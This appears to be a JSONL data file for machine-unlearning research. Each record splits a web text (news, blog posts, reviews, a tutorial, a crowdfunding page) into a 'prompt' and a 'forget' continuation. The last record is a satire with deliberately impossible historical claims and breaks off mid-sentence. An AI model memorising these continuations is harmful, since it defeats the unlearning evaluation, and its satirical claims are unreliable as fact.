{"prompt": "WHAT?!??! I know. That\u2019s what you\u2019re saying right now. \u201cWHAT?! DISNEY HAS A DONUT SUNDAE AND I DIDN\u2019T KNOW ABOUT IT?!\u201d How do I know you\u2019re saying that? Because that\u2019s exactly what I was saying when Tina (<\u2013 amazing DFB photographer who\u2019s frigging awesome) spotted this at the Plaza Ice Cream Parlor in the Magic Kingdom this week! But it\u2019s OK. It\u2019s brand new \u2014 not even on the menu yet \u2014 so we didn\u2019t miss out on too much of the Donut Sundae lifespan. And we\u2019re hoping that lifespan is a nice, long one! The Main Street Plaza Ice", "forget": "Cream Parlor can be found at the intersection of Main Street USA and Tomorrowland, just before you get to Cinderella Castle. And the sundae joins a few other must-have treats on the Ice Cream Parlor\u2019s menu, including the house-made ice cream sandwich (preferably ordered with a drizzled sauce!), the \u201ckids\u2019 cone\u201d (it\u2019s totally OK to order this as a grown-up, too) with Mickey ears, and the Plaza Ice Cream Sundae. So\u2026I\u2019m really not envying you the decisions you\u2019ll have to make when you get there! ;-D After spotting the sundae on a placard, we grabbed it! It comes with a warm glazed donut, warm apple compote, vanilla ice cream, chocolate sauce, whipped cream, a cherry, chocolate chips, and peanut butter chips. We found out that the donut was not house-made (it\u2019s basically a Krispy Kreme), but it\u2019s warmed just before serving. And with the warm donut and warm compote contrasting with the cold vanilla ice cream, there\u2019s a LOT of amazing going on in this sundae! I\u2019m doubting the apple compote is house-made, or even fresh (probably canned), but it still works well with the sundae. Though the combo of apple compote with peanut butter chips is a bit strange? At the moment, vanilla ice cream is the default flavor. The Cast Member we spoke to said that once this is officially on the menu, guests should be able to request whatever flavor they\u2019d like. At press time, this costs $5.99 and is not a Disney Dining Plan snack credit option. But at $5.99, you\u2019re still getting a bargain as far as we\u2019re concerned! Our thoughts? This was fantastic! Donut? Good! Ice Cream? Good! Apple Pie Filling? Good! Whipped Cream? Good! It\u2019s a winner all around. We can\u2019t WAIT until this gets cemented onto the menu! Pin it for later!"}
{"prompt": "Winning a dream home in a lottery was not enough to rescue a tumultuous marriage and instead the fancy digs became the focus of a messy divorce case. In a decision published this week to an online legal database, a Saskatoon judge has determined how the home, valued at $710,000, should be divided. Justice Geoffrey Dufour said the husband will get to buy-out the wife's interest in the home, move her out and move himself and their sons in. The judge noted the couple had been married for 19 years but \"it was stormy and punctuated by not infrequent periods", "forget": "of separation.\" During one separation period the husband, Michael, bought a lottery ticket and won a fully furnished dream home. The couple tried getting back together in the new place, but that did not last more than a few months. Justice Dufour noted that the wife, Rhonda, wound up living in the 2,500 square-foot home by herself. \"Michael testified that he was forced out of the family home without warning and in a startling fashion,\" Dufour wrote. According to the decision, Rhonda made a complaint to police that she had been physically assaulted. That led to charges against Michael and an interim order that he stay 200 metres away from Rhonda. When that case went to trial, Michael was acquitted. \"I can only conclude that Rhonda gave a false statement to the police,\" Dufour said in his decision on the divorce. \"This was a very effective way to have the family home all to herself: make a false allegation of assault and have Michael charged with a criminal offence so that he would have to stay away. Neat trick. A model of efficiency.\" The judge noted that while Rhonda enjoyed living in the large home, Michael and the sons slept, for a time, in sleeping bags on the family room floor at his mother's house. \"Rhonda chose to live in luxury while Michael lived in cramped quarters with two and sometimes three of their sons,\" the judge said. Husband gets the house Based on that, and Michael's offer to buy-out Rhonda, the judge said Michael should get the house and Rhonda would have to pay \"occupation rent\" and vacate by the end of September. In order to equalize the division, the judgment said Michael should pay Rhonda $247,370. He is also obligated to pay monthly spousal support. The judge said"}
{"prompt": "President-elect Donald Trump seems to be setting a trend that when he doesn\u2019t like the news about him he cries that it\u2019s fake news. It certainly happened with the Russian hack story and #GoldenShowerGate. A new CNN/ORC poll shows that Trump set a record for the lowest poll numbers (40 percent) for a president on Inauguration Day. According to the poll, only 14 percent of Democrats think that Trump will do well as president and only 4 percent think he\u2019s handled the transition well. In an Associated Press poll of young people, 52 percent of whites, 72 percent of Latinos,", "forget": "66 percent of Asians and 70 percent of African-Americans think Trump will create more divisions. Another shocking statistic released this week revealed that 74 percent of Americans want to see Trump\u2019s tax returns. Trump\u2019s response was to cry foul. The same people who did the phony election polls, and were so wrong, are now doing approval rating polls. They are rigged just like before. \u2014 Donald J. Trump (@realDonaldTrump) January 17, 2017 Twitter unleashed a hilarious string of mockery for the incoming leader: @owillis @realDonaldTrump President Obama won popular vote by 10 MILLION You'll never be half the man or President he is You're despised \u2014 Linda (@GoldieAZ) January 17, 2017 .@realDonaldTrump hillary got more votes than you. you will have to take that with you forever. \u2014 Oliver Willis (@owillis) January 17, 2017 .@realDonaldTrump When you need a little help to win the election pic.twitter.com/SoWwnZy3WE \u2014 Jordan Uhl (@JordanUhl) January 17, 2017 Net favorables of world leaders in @CNN poll Trudeau: +29 Merkel: +13 Trump: -9 Putin: -59 (lol. white people don't like you too) https://t.co/O0zdyElNbH \u2014 AAmom (@AVD911) January 17, 2017 @realDonaldTrump and @HouseGOP are under fire\ud83d\udd25,and already proving they can't handle this much power(Senate& Exec Office). pic.twitter.com/YXiSWEA5KO \u2014 Lil' Kim Ms. G.O.A.T (@killerbee805) January 17, 2017 Seeing Trump supporters not believe the ORC poll because \"fake news.\" pic.twitter.com/ToZHTJegT9 \u2014 Emilia\ud83c\uddfa\ud83c\uddf8 (@emnercessiann) January 17, 2017 @realDonaldTrump and they'll all begin with the word \"lowest\" unless it is followed by the words \"death rate.\" (2/2) \u2014 Danesh (@DaneshWasTaken) January 17, 2017 @realDonaldTrump Polls aren't rigged. You are truly despised. \u2014 RJ Palacio (@RJPalacio) January 17, 2017 It's so easy to play this game every time @realDonaldTrump tweets something. https://t.co/uvkfvZMmnN \u2014 John Bowman (@johnbowman) January 17, 2017 .@realDonaldTrump Every morning an angry billionaire cries on twitter about his pathetic existence:"}
{"prompt": "He was a few blocks from home, waiting for a bus in the cold, checking emails on his phone, when Coun. Matthew Green was stopped and questioned for several minutes by a Hamilton Police officer who seemed not to realize who he was. \"What are you doing there?\" was the first thing Green said he heard the officer say, just after 3 p.m. on Tuesday. You don't forget being stopped. - Desmond Cole, writer and activist He felt like a suspect in his own neighbourhood, he said. He felt intimidated, frustrated and angry. Green's story brings up the emotional and", "forget": "psychological impact that police activity in a diverse city can have on people on the receiving end of that activity. Activist and journalist Desmond Cole wrote a Toronto Life article about the dozens of times he\u2019s been stopped by police. (CBC) Being asked random questions by police when you're minding your own business \u2013 and having it happen more than once \u2013 sticks with a person. That's an impact that people who oppose carding and street checks have cited as a reason for reform. \"After years of being stopped by police, I've started to internalize their scrutiny,\" wrote Desmond Cole, a writer and activist whose story of being stopped and questioned dozens of times by Ontario police officers was published last year in Toronto. \"I've doubted myself, wondered if I've actually done something to provoke them.\" Green had to stay to wait for the bus, but even the idea of walking away from the officer didn't cross his mind. \"In theory my Charter rights allow me to walk away,\" he said. \"I know in that particular situation it was somewhat of a psychological detainment.\" The officer was \"obviously in control enough\" of the situation that he was content holding up a handful of cars to have the conversation, Green said. \"As an elected official, you know, I wanted to try to cooperate with him and answer the questions as fully as I possibly could, and I think walking away at that time would've escalated the situation,\" Green said. Incidents like these may be something an officer quickly forgets as part of his or her day, Cole said in an address to the Ontario Bar Association. But the person who was questioned? \"You don't forget being stopped,\" Cole said. 'What would it have been if I was younger?' Green, who has"}
{"prompt": "Dan Harmon is one those creators who is bound to the work wholeheartedly. Without Harmon, Community isn\u2019t the same. What I mean is, when you watch Season 4 of Community it\u2019s still Community but without its voice. It feels hollow. When he got fired from the show he decided to take his podcast Harmontown on tour, document it, and release it as a film. If you don\u2019t really know who Dan Harmon is, this documentary gives you the history of the writer. If you don\u2019t know the controversy surrounding him and Chevy Chase, you\u2019ll get that too. You\u2019ll also get", "forget": "a very human side to a creator and that comes with all the dark side as well. This is part of Harmon\u2019s charm. He\u2019s an open book and he doesn\u2019t mind if he may be the kind of book you don\u2019t want to read or may not like. He doesn\u2019t like taking showers, he\u2019s probably an alcoholic, he\u2019s a dick to his girlfriend, and he openly admits he leaves the tour having learned nothing. That is essentially what I like about him, what his audience likes about him. If you know you can be a bad person, and openly admit your faults that may make you a bad person, does that mean you\u2019re a bad person? Even if I believed deep down that Harmon was a bad person the fact that he doesn\u2019t hide it softens the blow. We watch him self-destruct and then when he\u2019s done self-destructing he picks up the pieces and moves on. Harmon isn\u2019t a rebel or subversive but openly criticizes the system he works in to make his money. His audience are people who feel like outsiders trying to become Dan Harmon or something like him. They want to work within the systems but feel as if they don\u2019t belong in that system. \u201cOur mantra would always be make the shows you would want to see, and I think that really affected Dan\u2019s work.\u201d \u2013 Rob Schrab, director of The Lego Movie sequel. That\u2019s where Spencer comes in. Spencer is one of those audience members who stayed true to himself, and Harmon plucked him from the audience to become his dungeon master in live D&D games. Spencer is the hero of the documentary, and Harmon openly admits that. Harmontown is crude, silly, dark, sad, uplifting, and pretty funny. It\u2019s worth a watch if you\u2019re a"}
{"prompt": "Detroit Lions: So this is it for Jim Caldwell, right? by Payne Schanski After getting a late start to his rookie season, Detroit Lions running back Tion Green could become a breakout star for the Motor City in 2018. The Detroit Lions season essentially ended after Sunday\u2019s loss to the Cincinnati Bengals. Although it\u2019s hard to think positively right now if you\u2019re a Lions fan, there is a silver lining I want to point out. That silver lining is rookie running back Tion Green. Green, who was the final player selected to make the 53-man roster after the preseason didn\u2019t", "forget": "even see the field until the Lions Week 13 game against the Baltimore Ravens. In his debut, the former Cincinnati Bearcat had 11 carries for 51 yards and his first NFL touchdown. Fast forward to Sunday\u2019s game in Cincinnati. The Lions were facing 3rd and short. This is something they\u2019ve struggled with all season, converting only seven of their 18 previous attempts. Not this time, as quarterback Matthew Stafford pitched the ball to Green with ease. And the rookie runner got the first down. Green would go on to help the Lions convert on a crucial 4th and 1, and score the go-ahead touchdown later in the drive. Unfortunately, the Lions couldn\u2019t hold onto that lead \u2013 but we already know how that turned out so there\u2019s no need to revisit those gruesome details. Whether general manager Bob Quinn and the L:ions\u2019 front office select a running back in this year\u2019s draft \u2013 which I\u2019m assuming they will \u2013 Green should still be an important asset to Detroit\u2019s offense. The 24 year-old chimes in at 6\u20190, 220 pounds. Green\u2019s a strong back that can lower his shoulders and can power himself past multiple defenders at once, making him perfect for those 3rd and short conversion opportunities. As well as being an excellent goal line rusher. Tion ran for well over 700 yards in each of his final two seasons at Cincinnati, averaging 4.75 yards per carry. That is exactly what the Lions need from him and as he continues to learn his way around the league he will only get better. Much like defensive end Kerry Hyder during the 2016 season, Green seemingly came out of nowhere while barely making the team. They both quickly became a fan favorite for having such an immediate impact. With running back Ameer Abdullah\u2018s"}
{"prompt": "A great piece of design or illustration can be taken to new heights by having it screen-printed. The texture and variance of the ink on the paper is beautiful, and the 'happy mistakes' are delicious. But this magic is not possible without prepping your artwork. Let's learn how! Introduction I have previously shown how I generally go about creating an illustration or design, this tutorial is not that. In this tut I will cover the steps that need to be taken, after the artwork is completed, in-order for it to be ready for screen-printing. This is not a tutorial on", "forget": "the process of screen printing, if you are unfamiliar with the process please review an additional tutorial. The basic idea is that the artwork will be separated into different layers of color, and printed one at a time. A great aspect of this process is that by overlapping the layers you can create additional colors. This tutorial showcases how I prepare, or separate, the artwork for silkscreen printing. I should note that there are probably a million variations on this process, and everyone undoubtedly does it a little differently. I am showing how I go about it. Final Image Preview Want access to the full Vector Source files and downloadable copies of every tutorial, including this one? Join Vector Plus for just 9$ a month. A preview of the final image is below. You can view the large version here. Step 1 While designing I have already thought about a few main issues. Mainly, the order the layers will be printed, and how overlaying the colors will work. For this design I kept the layering as simple as possible so that it was easy to see what I am doing. The design will have two layers, teal and brown. First the teal layer will be printed, followed by the brown layer over the top of the teal. The shadow inside the sleeve of the mans arm is the only area of overlap. When the teal and brown overlay, it will create the dark brown color. Step 2a Most people probably try a few different things and have extra pieces and scrapes around a design, so first I will need to do little tidying up. While creating this design I redrew the hand and the hair letters saying \"work\" on the hand (in black). This will not be used, so delete"}
{"prompt": "Photo: Brownie Harris/Corbis Dishing Out Waves: A technician works on a Doppler weather radar\u2019s parabolic antenna, which is situated within a large tiled dome. During the 1930s, with Europe preparing for war, the British government badly needed a way to detect the approach of enemy aircraft. It got one, thanks to a bookish-looking engineer named Robert Watson-Watt, who devised and successfully tested a primitive radar system in 1935. By the time of the Battle of Britain in 1940, a chain of radar stations along England\u2019s eastern and southern coasts was providing enough warning of incoming Luftwaffe bombers to allow civilians", "forget": "to find shelter underground and Royal Air Force pilots to scramble their fighters into the air. King George VI recognized Watson-Watt\u2019s accomplishments with a knighthood in 1942. Some historians even credit the engineer with Britain\u2019s survival during those terrifying times. Some 15 years later, when Watson-Watt was in his 60s and I was in my teens, he spoke at my Canadian high school. The best part of the talk for us was his story about having been pulled over in a radar speed trap. He read us a poem he had composed while waiting for his case to be called: Pity Sir Robert Watson-Watt, strange target of this radar plot And thus, with others I can mention, the victim of his own invention. His magical all-seeing eye enabled cloud-bound planes to fly but now by some ironic twist it spots the speeding motorist and bites, no doubt with legal wit, the hand that once created it. Photo: Hulton-Deutsch Collection/Corbis Inventor of Radar: Sir Robert Watson-Watt is shown here at about the time he devised the first radar systems. Police with radar speed guns are indeed what leaps to most people\u2019s minds if you ask them what radar is good for, other than detecting aircraft. In fact, though, radar has proved to be an extraordinarily versatile technology, with established uses now in vehicles, weather monitoring, aerial reconnaissance, even for seeing through walls. But as applications for it proliferate at an accelerating rate, government regulators, including those in the United States, are having a hard time keeping up. It\u2019s vital that they do, because foot dragging on their part threatens to slow the pace of innovation. If you have any doubts, read on and discover just how deeply radar has integrated itself into the fabric of modern industrial society, despite what I"}
{"prompt": "Socialism: Whether it was an accident or sabotage, the deadly explosion at Mexico's state-owned oil firm wasn't an unusual event. The one thing Thursday's incident at the Pemex tower should be is a spur to privatize. Despite a much-publicized war against cartels, the real Mexico story is one of moderately good economic growth with zero net illegal emigration and a public sector financed by a budget showing a $1 billion annual surplus. But then there's Pemex, the supposed symbol of national sovereignty, which in reality is nothing but a millstone around Mexico's neck holding the country back from far greater", "forget": "gains. Pemex's many costs and debts are among the reasons why that $1 billion annual surplus is not $6 billion. It's also a big reason Mexico has $59 billion in debt. Its unionized 150,000-strong workforce is one of the least efficient, yielding an average of $506,000 of revenue per employee per year, far below the $2.865 million each employee at the top five international oil companies brings in, according to a Baker Institute study. Less revenue, less investment, less safety. Oilmen will tell you every incident is different, and some accidents do occur at private firms of course. But the overall Pemex record speaks volumes, with comparable events at its installations in 2012, 2010, 2007, 1993 and 1984. Even as Pemex costs the government, the government costs Pemex. Its earnings are effectively taxed at 60% to finance about a third of the government, leaving it miserably under-invested in its own production. Not surprisingly, Mexican oil production fell from 3.4 billion barrels a day in 2004 to about 2.5 billion a day in 2012. \"The government vacuums the cash flow out of this company like an Electrolux because they need to support the government and social services. Is that how a private company behaves? Of course not,\" noted Garfield Miller, president of Aegis Energy Advisors, who explained to IBD that private and public oil companies have different goals. \"When you are a government institution, almost by definition an instrument of social policy, your mission becomes inescapably broader than simply maximizing value for a narrow set of constituents\" \u2014 as occurs with private oil companies that answer to shareholders. The situation is so bad in Mexico that it cannot take advantage of its vast new deepwater discoveries in the Gulf, just as the U.S.' highly efficient private companies expand production on the"}
{"prompt": "Now that the Cleveland Cavaliers\u2019 NBA Championship is behind us, it\u2019s time to slowly start working ourselves back into thinking about the Browns (although that might still be tough for some, considering the streak the Indians are on right now). That means it\u2019s time to kick off our annual training camp preview, where we go position-by-position until we have looked at all 90 players who will take part in training camp. We\u2019ll start with the quarterback position. In part 1 of this preview, we\u2019ll look at the three players who have the best chance at winning the starting job for", "forget": "Week 1: Robert Griffin III, Josh McCown, and Cody Kessler. On Tuesday, we\u2019ll talk about Austin Davis and Connor Shaw to wrap up the quarterbacks and then move on to running backs. 1. ROBERT GRIFFIN III - PROJECTED TO BE THE STARTING QB Robert Griffin III (#10) Height: 6-2 | Weight: 222 Age: 26 | Experience: 5 years College: Baylor Note: Highly coveted by Browns in 2012 before 6-2 |22226 |5 yearsBaylorHighly coveted by Browns in 2012 before Redskins got him ... Great rookie year, has battled knee injuries ... Looking to start fresh. Hue Jackson is no stranger to working with reclamation projects at the quarterback position. When he was the head coach of the Raiders in 2011, he and Jason Campbell helped lead the team to a 4-2 start. Campbell's injury in that sixth game (against the Browns) made the team give up a lot to acquire Carson Palmer. The team was 7-4 at one point before a floundering finish that saw them end the year with an 8-8 record. After the release of Johnny Manziel for obvious reasons, and with veteran Josh McCown still on the roster, Jackson felt compelled in his second head coaching gig to grab a quarterback who many had/have written off in Robert Griffin III. Most of us know Griffin's backstory as it relates to the Browns. Cleveland fans had their heart set on him back in 2012, but the Redskins completed a pre-draft trade with the Rams, leaving Cleveland to sit back and settle for Brandon Weeden. Griffin had a great rookie year in Washington, completing 65.6% of his passes for 3,200 yards, 20 touchdowns, and 5 interceptions. He also ran 120 times for 815 yards and 7 touchdowns. Unfortunately, he suffered multiple knee injuries -- likely coming back sooner than he"}
{"prompt": "Sharp Uptick in Wildfires Strains Great Plains Agencies The Great Plains had long been spared the agony of frequent wildfires \u2014 until recent years. A satellite analysis published by scientists this week showed the number of large wildfires burning up swaths of the Great Plains rose 350 percent during 30 years, while the total area burned each year increased four-fold. Smoke from a 2016 wildfire in South Dakota. Credit: orientalizing/Flickr \u201cThere haven\u2019t really been very many large wildfires in the Great Plains \u2014 until recently,\u201d said Victoria Donovan, a PhD candidate at the University of Nebraska who led the analysis,", "forget": "published Friday in Geophysical Research Letters. A variety of factors are thought to be behind the wildfires, including warming caused by fossil fuel pollution, growing populations and the expansions of cities and towns, invasions by fire-prone weeds, and the after-effects of a century of firefighting, which allowed flammable trees and dry grass to build up in wilderness and rural areas. \u201cObviously it\u2019s being driven by some sort of change,\u201d Donovan said. \u201cIt\u2019s largely been seen as a low risk area for wildfire. We\u2019ve had highly successful suppression efforts over the past century.\u201d The spreading rash of fires across the flat and grassy states west of the Mississippi River has jolted a region unaccustomed them, even as it has been overshadowed in the news and dwarfed in firefighting budgets by bigger wildfires tearing up the West Coast. \u201cThe low frequency tends to lull all of us into a sense of complacency,\u201d said Michele Steinberg, manager of wildland fire operations at the nonprofit National Fire Protection Association. \u201cWe have a long way to go with education, particularly for folks where they have not seen a lot of fire.\u201d Because wildfires have been relatively rare in the Great Plains until recently, many states and counties have come to depend heavily on each other for assistance when they strike. \u201cThey rely on their neighbors,\u201d Steinberg said. But the shared firefighting resources are becoming strained as more fires need to be fought. \u201cYou\u2019re seeing conditions that are just right for not only ignition of fire, but also fire spread,\u201d Steinberg said. The new analysis also examined rising instances of wildfires in states from Texas to North Dakota, altogether spanning nearly a third of the country, including some of its most remote areas. The study showed there had been a \u201cpulse\u201d during the last decade in"}
{"prompt": "[email protected] Despu\u00e9s de 26 a\u00f1os, desde hoy la Plaza de la Constituci\u00f3n tendr\u00e1 una conexi\u00f3n entre las calles Rep\u00fablica de Guatemala y Rep\u00fablica de Argentina con la apertura de un puente peatonal que pasa por arriba del Templo Mayor. Se trata de un puente que dar\u00e1 cabida diaria a por lo menos 100 mil personas, en un horario de ocho de la ma\u00f1ana a ocho de la noche, el cual ayer fue inaugurado por el jefe de Gobierno, Miguel \u00c1ngel Mancera. Jos\u00e9 Mariano Leyva, director general del Fideicomiso Centro Hist\u00f3rico, confirm\u00f3 que para la apertura de este puente peatonal", "forget": "el gobierno capitalino invirti\u00f3 13 millones de pesos, monto que no incluye el costo de las ventanas arqueol\u00f3gicas que se ubican en la zona, de aproximadamente 18 metros de largo y 6 metros de ancho. \u201cAqu\u00ed tienes lo que es el encuentro entre el presente y pasado, donde el pasado hay que preservarlo y plantea qu\u00e9 sucede con espacios y caminos en donde la vida sigue transcurriendo a trav\u00e9s del ingenio de armar puentes donde la gente transite y se respeten las excavaciones antiguas\u201d, se\u00f1al\u00f3. En un recorrido previo a la inauguraci\u00f3n, el director general asegur\u00f3 que despu\u00e9s de tres a\u00f1os de estudios los capitalinos tendr\u00e1n la oportunidad de trasladarse de una calle a otra, adem\u00e1s de contemplar el Templo Mayor. Como lo hab\u00eda adelantado EL UNIVERSAL el a\u00f1o pasado, ayer fue inaugurado el puente a nivel de calle que conectar\u00e1 las vialidades de Guatemala y Argentina, en el Centro Hist\u00f3rico, que circundan los vestigios arqueol\u00f3gicos del Templo Mayor y las excavaciones que a\u00fan se realizan. Mariano Leyva mencion\u00f3 que despu\u00e9s de varios estudios se logra concretar uno de los espacios peatonales m\u00e1s importantes en la capital del pa\u00eds que da desde el Z\u00f3calo capitalino a la parte nororiente. El titular del Fideicomiso Centro Hist\u00f3rico dijo que este paso permanec\u00eda cerrado desde hace a\u00f1os debido a los trabajos de excavaci\u00f3n, por lo que varios especialistas tuvieron que medir con anticipaci\u00f3n si la zona aguantar\u00eda el transitar de las personas. Resalt\u00f3 la ingenier\u00eda aplicada en esta obra e indic\u00f3 que los expertos analizaron incluso cu\u00e1nto peso tendr\u00eda este puente con el transitar de las personas para ver si era viable. \u201cSe fue cuidadoso en la construcci\u00f3n de este puente para que no se excedan las dimensiones; toda esta parte del puente se hizo con financiamiento y ejecuci\u00f3n del Gobierno de la"}
{"prompt": "President Trump with Health and Human Services Secretary Tom Price in the Oval Office. (Pablo Martinez Monsivais/AP) Attorneys general from 15 states and the District of Columbia filed a motion Thursday to intervene in a long-running lawsuit over a core part of the Affordable Care Act. In their legal filing, the attorneys general say they can't trust the Trump administration to defend their interests, because health insurance for millions of Americans has become \u201clittle more than political bargaining chips\u201d for the White House. The lawsuit is challenging how billions of dollars of federal payments were made to health insurers. Those", "forget": "payments are critical to the stability of the Affordable Care Act marketplaces, which are designed to help individuals buy government-subsidized health coverage. The attorneys general want to step in to defend the payments, saying there is a \u201csharp divide\u201d between the administration's goals and those of states. For months, health insurance companies have been trying to get a solid answer from Congress and President Trump's White House on the future of the payments, called cost-sharing reductions, that help lower-income Americans afford their deductibles and co-payments. Their calls for certainty have grown increasingly urgent as they face deadlines to decide whether to offer plans in states and how much to charge. The lawsuit over the payments was originally brought by House Republicans against the Obama administration. House Republicans won the lawsuit, which was appealed. Now, it has been inherited by the Trump administration, which has been unclear about whether it will defend the payments. A status update on the case is due on Monday. Trump and Congress have sent mixed signals about whether the payments will continue on an almost weekly basis. [Health insurers asked the Trump administration for reassurance on Obamacare. They didn\u2019t get it.] The repercussions of discontinuing the payments have been made clear by insurance executives, who warn that if the funding disappears, insurers could leave markets altogether or raise their premiums significantly. CareFirst Blue Cross Blue Shield, the largest insurer in the Mid-Atlantic, requested rate increases of more than 50 percent in Maryland's marketplaces, and chief executive Chet Burrell warned earlier this month that if cost-sharing reduction payments were to end, rates could increase by another 10 to 15 percentage points. Anthem chief executive Joseph Swedish said in an April earnings call that the company was filing its preliminary rates with states under the assumption the cost-sharing"}
{"prompt": "At Alexandria Brewing Company, we share the same belief; you achieve true happiness by making others around you happy. Our mission is to create an honest company that gives back and treats all people involved like we would want to be treated. We want to build a business on the foundation of integrity. We plan to tap into the Alexandria and Greater Cincinnati communities by sharing good company, celebrating rock and roll while also enjoying great beer at a family-friendly establishment. With your pledge, you will help us create a taproom and German-styled biergarten for the community, while also taking", "forget": "advantage of some wicked cool rewards we have listed below. We look forward to sharing a pint with you soon, cheers! Read more of our story at www.alexandriabrewingcompany.com . Gimme the goods! How do I back ABC? Create a Kickstarter account Log in using your email + password Click the reward(s) Share our project! We don\u2019t get a penny unless we meet our goal. Why Back ABC? You can: be a part of opening Alexandria\u2019s first brewery since the 1880\u2019s. contribute to the development of the city and the community through small business. help establish a thriving, craft beer local community. assist in the creation of a place that brings a sense of community and celebrates the history of Alexandria and surrounding areas. earn some sweet rewards, starting at the $10 level. What will ABC will use the money for? The money we raise from this campaign will be used to get this project off the ground. We will be able to secure the desired location in the heart of Alexandria. Taproom. We plan to renovate an existing building on the property into a community taproom, with a home-like feel, where people can find good company and great beer. Your support will be able to help outfit our taproom and create a space for all to enjoy. Rewards Thank you in advance for supporting ABC! Below you will find all the sweet swag + experiences we have lined up! Keep in mind if you back this project, Kickstarter only allows you to pledge to one reward, so be sure to check out all the combined reward packages. The following two events described are bonus rewards for individuals who pledge above a specified dollar amount: Backers Beer Bash ABC will host an annual anniversary beer bash in their biergarten to celebrate"}
{"prompt": "Canada\u2019s new federal government has launched the process of beginning an inquiry into how to conduct an inquiry into the nation\u2019s missing and murdered aboriginal women. This is the throat clearing that precedes the overture to the main show. [np_storybar title=\u201dLiberals launch first phase of inquiry into missing, murdered indigenous women\u201d link=\u201dhttp://news.nationalpost.com/news/canada/liberals-launch-first-phase-of-inquiry-into-missing-murdered-indigenous-women\u201d%5DOTTAWA \u2014 The federal Liberal government is kicking off what it calls the first phase of its inquiry into the tragic phenomenon of missing and murdered indigenous women and girls. Justice Minister Jody Wilson-Raybould says the government will consult the families of victims over the next two months to", "forget": "get their input into how the inquiry should be designed and what it needs to accomplish. Wilson-Raybould was joined for the announcement by Indigenous Affairs Minister Carolyn Bennett and Status of Women Minister Patty Hajdu. She says while no inquiry can undo what has happened, it will help find a way forward because Canada \u201ccan and must do better.\u201d Continue reading\u2026 [/np_storybar] The inquiry, once eventually launched, is expected to take two years and cost $40 million. That means two more years of government inaction and $40 million going to lawyers, stipends and meeting rooms that could instead be directed to what we already know about the problem(s). The issue is a glaring tragedy. Between 1980 and 2012, almost 1,200 native women have either vanished or been murdered; mostly both. If more than two white women were missing in southern Ontario police would be setting up command posts and Facebook would be awash in injunctions to wrap trees in pink ribbons and flash porch lights in sympathy. The indifference to the plight of these women and of the native community as a whole is staggering. But that alone does not support the premise that an inquiry is the answer. Can we admit that we already know a considerable amount about what ails the aboriginal communities? It begins with just how large a portion of the non-native community doesn\u2019t value the lives of aboriginals. There\u2019s a reason why the CBC shut down comments specifically for those of its online articles that discuss native issues; the tenor of the remarks ran the gamut from hysterical ignorance to quasi-white supremacy. In my medium of talk radio, any discussion of native issues immediately prompts calls from people who think natives are lazy freeloaders who need to get over the past and move on. Combine"}
{"prompt": "(I received a copy of this book from the author in exchange for my review) This is an absolutely fantastic book! And I DO NOT give out praise like that all willy nilly. I immensely enjoyed reading Vision and am so glad I was given a chance to review it. So, a BIG thanks to the authors! I was not quite sure what to expect when I agreed to review this novel. The synopsis intrigued me and I was interested to see how the authors had chosen to portray demons. There are a lot of different takes on demons and", "forget": "for the most part I am not that fond of them as a subject for a book. However, Cathy and Galen changed my mind with this one. The demons in this book do have a supernatural element to them but they are more than that. To me they seemed to be depicted as the negative subconscious thoughts that tend to plague humans. That voice that encourages defeat and lack of confidence when life seems to be dragging you down. However, Vision is not so much about the demons, as it is about the main character and what she can do in her life because she can see them. This book was original and had a wonderful story line. I like books with a message and this one really stood out to me. I enjoyed Maddies' character. She is strong and determined and most importantly, she has hope. She never gives up on Cassie, which is something I so admired about her. She portrays a friend anyone would be lucky to have. I enjoyed the development of her character as the story progressed and am so glad that she eventually found her voice. Music is a huge part of this book and really made the story special. I enjoyed all the references to music artists and even looked some of them up. Vision had a perfect ending. It kind of makes your heart swell at the last page. I don't want to give it away, so I am not going to say anything more. This book has a great pace and I was hooked from the first chapter. I told myself I was only going to read the first fifty pages, but the story compels you to read on. I ended up not moving from my spot until I was finished."}
{"prompt": "Fear and Loathing Set Review & Playtesting Guide Introduction: I am going to experiment with a new method of reviewing new sets. Rather than only giving a 1 to 5 rating of cards that none of us have played yet (which gives a higher impression of accuracy than is appropriate for an unplayed card), I am also going to rate each card\u2019s uncertainty. Uncertainty measures how hard it is to \u2018guesstimate\u2019 the card\u2019s playability. How much you would have to test the card, in order to get an accurate idea about its actual power level and usefulness. It is a", "forget": "measurement of uncertainty. In general, cards that are not similar to existing cards require more testing in order to determine if they are good. Cards whose effect is very swingy and unpredictable, and could end up either very strong or weak, situationally, require more testing in order to determine a value. The more similar a card is to existing cards, the easier it is to predict its power level. Thus, these cards would have a lower playtest requirement. Something very unique would require more playtesting, especially if it looked to potentially be strong. Finally, I\u2019ll give a verdict on whether the card is worth testing, in my opinion, or whether you should save your time by ignoring it and testing more worthy cards. Of course, if a certain card really appeals to you personally, then you should try it, regardless of what I think. After all, someone has to try out all these cards. If the rest of us miss something, someone out there will play it and if the card really was great, it would catch on. If you ever see a card that you ignored start to get a lot of buzz, then it becomes worth checking out. But since your playtest time is limited, and especially if your goal is to make competitive decks, it\u2019s better to avoid some cards with low potential. Runner cards: Maybe I should start with the corp cards. The runner cards are mostly bad. Oh well. Quest Completed: Uncertainty: Moderate. Expected Power: 1/5 Similar cards: Notoriety. If you initially read this card as requiring a run on R&D, HQ, OR Archives, you are not alone. Most of the players I know did that, and thought it was great, until we looked at it again. But actually, it\u2019s just Notoriety that lets you"}
{"prompt": "In an amazing breakthrough, a multinational team of scientists led by Nobel laureate Santiago Ram\u00f3n y Cajal announced that the brain is composed of a ridiculously complicated network of tiny cells connected to each other by infinitesimal threads and branches. The multinational team\u2014which also includes the famous technician Antonie van Leeuwenhoek, and possibly Imhotep, promoted to the Egyptian god of medicine\u2014issued this statement: \"The present discovery culminates years of research indicating that the convoluted squishy thing inside our skulls is even more complicated than it looks. Thanks to Cajal's application of a new staining technique invented by Camillo Golgi, we", "forget": "have learned that this structure is not a continuous network like the blood vessels of the body, but is actually composed of many tiny cells, or \"neurons\", connected to one another by even more tiny filaments. \"Other extensive evidence, beginning from Greek medical researcher Alcmaeon and continuing through Paul Broca's research on speech deficits, indicates that the brain is the seat of reason. \"Nemesius, the Bishop of Emesia, has previously argued that brain tissue is too earthy to act as an intermediary between the body and soul, and so the mental faculties are located in the ventricles of the brain. However, if this is correct, there is no reason why this organ should turn out to have an immensely complicated internal composition. \"Charles Babbage has independently suggested that many small mechanical devices could be collected into an 'Analytical Engine', capable of performing activities, such as arithmetic, which are widely believed to require thought. The work of Luigi Galvani and Hermann von Helmholtz suggests that the activities of neurons are electrochemical in nature, rather than mechanical pressures as previously believed. Nonetheless, we think an analogy with Babbage's 'Analytical 